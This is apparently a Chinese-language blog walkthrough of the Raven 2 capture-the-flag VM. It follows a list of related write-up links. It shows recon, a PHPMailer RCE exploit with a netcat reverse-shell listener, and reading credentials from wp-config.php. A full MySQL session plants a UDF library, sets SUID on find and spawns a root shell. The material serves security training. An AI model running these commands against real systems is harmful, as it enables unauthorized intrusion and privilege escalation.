0X00 前言
Raven 2中一共有四个flag,Raven 2是一个中级boot2root VM。有四个标志要捕获。在多次破坏之后,Raven Security采取了额外措施来强化他们的网络服务器,以防止黑客进入。
0x01 发现存活主机
该虚拟机默认是NAT模式,因此无需调整网络模式
使用netdiscover 或者 arp-scan 获取 目标主机 ip:192.168.88.211
arp-scan -l 或者 netdiscover -r 192.168.88.1/24
探测目标主机开放端口以及服务信息
目标开放了22、80、111端口
访问web服务
0x02 web渗透
1.目录爆破
dirb是一个轻量级的目录爆破工具,可以用它来快速的对目录进行一个简单的探测
dirb默认使用的爆破字典 /usr/share/dirb/wordlists/common.txt
我们可以根据需要指定字典进行扫描
dirb http://192.168.88.211 /root/dir/dir_big.txt
使用dirb和dirsearch同时进行目录爆破,相比而言,dirb扫描结果貌似要好很多。
扫到一些目录,逐个去查看目录下是否存在flag
在vendor下的 PATH 目录发现flag1{a2c1f66d2b8051bd3a5874b5b6e43e21}
并且获得网站绝对路径:/var/www/html/vendor/
继续向下翻,一些PHPMailer的示例和说明文档等文件,貌似没什么用!
在vendor下存在一个版本说明文件,这个应该就是PHPMailer的版本信息了。
0x03 漏洞利用
PHPMailer版本小于5.2.20存在远程代码执行漏洞
使用searchsploit 搜索 可以利用的漏洞
修改exp,替换目标ip target为靶机ip,反弹连接的地址为kali地址。开启本地nc监听。
添加申明,否则非ASCII码字符会报错 # -*- coding: utf-8 -*-
修改后门路径地址 /var/www/html/
nc -nvlp 4444
运行该exp提示缺少requests_toolbelt模块,
pip install requests_toolbelt 安装该模块
访问链接,就会在网站根目录下生成一个backdoor.php
获取完整性shell,将shell转化为pty shell.
python -c 'import pty;pty.spawn("/bin/bash")';
在www目录下找到 flag2{6a8ed560f0b5358ecf844108048eb337}
在wordpress目录下通过find /var/www/html -name flag* 搜索发现flag3.png
直接访问后台wp-admin,
注:直接访问后台会连接错误,需要修改hosts文件,将192.168.88.211指向raven.local
进入wordpress目录打开wp-config.php找到数据库用户名密码
/** MySQL database username */
define('DB_USER', 'root');
/** MySQL database password */
define('DB_PASSWORD', 'R@v3nSecurity');
0X04 权限提升
使用提权脚本进行提权
开启web服务 php -S 0.0.0.0:88 -t /root
将提权脚本LinEnum.sh通过 wget 下载到目标机器
使用UDF提权
开启web服务,将udf exp 发送到 目标机器
python -m SimpleHTTPServer 88
在目标机器上编译会出错,我们可以本地编译好再上传。
gcc -g -c 1518.c gcc -g -shared -Wl,-soname,1518.so -o 1518.so 1518.o –lc
编译完成后会生成1518.c 和 1518.so文件,我们只需要so文件
www-data@Raven:/tmp$ mysql -uroot -pR@v3nSecurity
mysql -uroot -pR@v3nSecurity
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 60
Server version: 5.5.60-0+deb8u1 (Debian)
Copyright (c) 2000, 2018, Oracle and/or its affiliates. All rights reserved.
Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
mysql> show databases;
show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| mysql |
| performance_schema |
| wordpress |
+--------------------+
4 rows in set (0.00 sec)
mysql> use mysql;
use mysql;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
mysql> create table Micr067(line blob);
create table Micr067(line blob);
Query OK, 0 rows affected (0.00 sec)
mysql> insert into Micr067 values(load_file('/tmp/1518.so'));
insert into Micr067 values(load_file('/tmp/1518.so'));
Query OK, 1 row affected (0.00 sec)
mysql> select * from Micr067 into dumpfile '/usr/lib/mysql/plugin/1518.so';
select * from Micr067 into dumpfile '/usr/lib/mysql/plugin/1518.so';
Query OK, 1 row affected (0.00 sec)
mysql> create function do_system returns integer soname '1518.so';
create function do_system returns integer soname '1518.so';
Query OK, 0 rows affected (0.00 sec)
mysql> select * from mysql.func;
select * from mysql.func;
+-----------+-----+---------+----------+
| name | ret | dl | type |
+-----------+-----+---------+----------+
| do_system | 2 | 1518.so | function |
+-----------+-----+---------+----------+
1 row in set (0.00 sec)
mysql> select do_system('chmod u+s /usr/bin/find');
select do_system('chmod u+s /usr/bin/find');
+--------------------------------------+
| do_system('chmod u+s /usr/bin/find') |
+--------------------------------------+
| 0 |
+--------------------------------------+
1 row in set (0.01 sec)
mysql> quit
quit
Bye
www-data@Raven:/tmp$ touch Micr067
touch Micr067
www-data@Raven:/tmp$ find Micr067 -exec 'whoami' \;
find Micr067 -exec 'whoami' \;
root
www-data@Raven:/tmp$ find Micr067 -exec '/bin/sh' \;
find Micr067 -exec '/bin/sh' \;
在root目录下找到 flag4{df2bc5e951d91581467bb9a2a8ff4425}
后记:看到你们不断拿到shell,我已经瑟瑟发抖,最近被那个挖洞被抓的新闻搞得人心惶惶。。。
- 22. CTF综合靶机渗透(十五)
靶机说明: Game of Thrones Hacking CTF This is a challenge-game to measure your hacking skills. Set in Ga ...
- 21. CTF综合靶机渗透(十四)
靶机说明: I created this machine to help others learn some basic CTF hacking strategies and some tools. ...
- 18. CTF综合靶机渗透(十一)
靶机描述: SkyDog Con CTF 2016 - Catch Me If You Can 难度:初学者/中级 说明:CTF是虚拟机,在虚拟箱中工作效果最好.下载OVA文件打开虚拟框,然后选择文件 ...
- 17. CTF综合靶机渗透(十)
靶机描述:欢迎来到超级马里奥主机!这个虚拟机是对真实世界场景场景的模拟.目标是在VM中找到2个标志.根是不够的(对不起!)VM可以以多种方式开发,但请记住枚举是关键.挑战的程度是中等的.感谢VDBAN ...
- hacknos-player靶机渗透
靶机下载地址https://www.vulnhub.com/entry/hacknos-player,459/ 网络配置 该靶机可能会存在无法自动分配IP的情况,所以无法扫描到的情况下需要手动配置获取 ...
- VulnHub CengBox2靶机渗透
本文首发于微信公众号:VulnHub CengBox2靶机渗透,未经授权,禁止转载. 难度评级:☆☆☆☆官网地址:https://download.vulnhub.com/cengbox/CengB ...
- VulnHub PowerGrid 1.0.1靶机渗透
本文首发于微信公众号:VulnHub PowerGrid 1.0.1靶机渗透,未经授权,禁止转载. 难度评级:☆☆☆☆☆官网地址:https://download.vulnhub.com/power ...
- DeRPnStiNK靶机渗透
DeRPnStiNK靶机渗透 常规的信息搜集 扫到了phpmyadmin以及wordpress并在后台发现弱密码,即admin,admin 这里对wordpress进行了扫描: 扫描插件: searc ...
- BTRsys1~2系列靶机渗透
BTRsys系列靶机渗透 BTRsys1 端口发现加目录扫描. 发现目录:http://192.168.114.161/login.php 尝试弱密码失败,查看源代码. <script type ...
随机推荐
- 深入学习SpringMVC
1.什么是SpringMVC? SpringMVC是Spring框架内置的MVC的实现.SpringMVC就是一个Spring内置的MVC框架.MVC框架,它解决WEB开发中常见的问题(参数接收.文件 ...
- .NET Core CSharp初级篇 1-5 接口、枚举、抽象
.NET Core CSharp初级篇 1-5 本节内容类的接口.枚举.抽象 简介 问题 如果你需要表示星期或者是某些状态,使用字符串或者数字是否不直观? 你是否发现,无论何种电脑,它的USB口的设计 ...
- MapReduce之提交job源码分析 FileInputFormat源码解析
MapReduce之提交job源码分析 job 提交流程源码详解 //runner 类中提交job waitForCompletion() submit(); // 1 建立连接 connect(); ...
- 小米OJ 12. 找出可能的合的组合
利用dfs解决,从给出的数组左边或右边开始遍历,对每一个数字进行判断,有三种情况: 1. 加上当前数字的值,遍历下一个数字 2. 加上当前数字的值,继续遍历该数字 3. 不加上当前的数字的值,遍历下一 ...
- C/C++中指向结构体变量的指针,调用指向的那个结构体中的成员
设p是指向结构体变量的指针,则可以通过以下的方式,调用指向的那个结构体中的成员: (1)结构体变量.成员名.如,stu.num. (2)(*p).成员名.如,(*p).num. (3)p->成员 ...
- Java EE.Servlet.处理请求
Servlet的核心工作便是处理客户端提交的请求信息,生成动态响应信息返回客户端. 1.请求参数 POST方法一般用于更新服务器上的资源,当时用POST方法时,提交的数据包含在HTTP实体内,而GET ...
- 小白开学Asp.Net Core 《十》
小白开学Asp.Net Core <十> — — Session.Cookie.Cache(老生常谈) 一.背景 在常谈Session和Cookie之前我们先来简单的了解下Http(可以说 ...
- 快速清理maven仓库中下载错误的文件
有时候使用pom文件下载依赖文件的时候突然网络异常,可能会出现依赖文件出现破损,导致怎么都不能使用,也没有重新下载. 之前解决办法是找到出现破损的文件并删除,让其重新下载,但是这样效率很低,也很难找到 ...
- <表格>
一.列表 信息资源的一种展示形式 二.列表的分类 1.有序列表 <ol> <li>列表项1</li> <li>列表项2</li> </ ...
- 主机cpu突然飙高,如何快速排查问题
[问题发现] 使用zabbix软件监控服务器时发现cpu突然异常,在业务主机上使用top命令查看系统的整体运行情况,使用top命令后发现mysqld占用CPU特别高,初步判断可能是mysqld出现问题 ...